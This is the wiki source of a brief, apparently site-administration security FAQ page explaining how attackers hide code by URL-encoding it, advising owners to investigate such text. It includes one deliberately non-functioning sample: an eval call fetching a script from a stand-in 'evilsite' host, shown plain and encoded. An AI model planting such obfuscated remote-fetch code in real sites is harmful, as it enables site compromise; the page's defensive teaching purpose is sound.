View source for What are these strange (URL-Encoded) characters doing in your code?

== Overview ==

Attackers sometimes hide code away from prying eyes by URL Encoding it.

The purpose of URL Encoding is to allow non-URL compatible characters to be passed via the URL. There are many legitimate reasons for doing this, such as hiding email from spammers, dealing with spaces in file names. etc.

However, if you find odd, URL-encoded text in your site's files, you should investigate immediately. URL encoded text is very easy to translate using PHP, javascript, or one of the many free, online translators.

Here are some trivial, non-functioning examples of URL Encoded text:

{| class="wikitable"
!Original
!URL Encoded
|-
|this line has spaces 
|this%20line%20has%20spaces
|-
|eval(evil_script(http://www.evilsite/?evilscript.pl")); 
|%65val%28%65%76il_%73cri%70t<br/>
%28%68tt%70%3A//%77%77%77.%65%76il%73ite/%3F%65%76il%73<br/>
cript.%70l%22%29%29%3B
|}

'''Resources'''

# [http://www.linkedresources.com/tools/unescaper_v0.2b1.html Text Unescape Utility]
# [http://www.w3schools.com/tags/ref_urlencode.asp HTML URL-encoding Reference]



<!-- KEEP THIS AT THE END OF THE PAGE -->
<noinclude>
[[Category:Security]]
[[Category:FAQ]]
[[Category:FAQ]]
[[Category:Administration FAQ]]
[[Category:Version 1.5 FAQ]]</noinclude>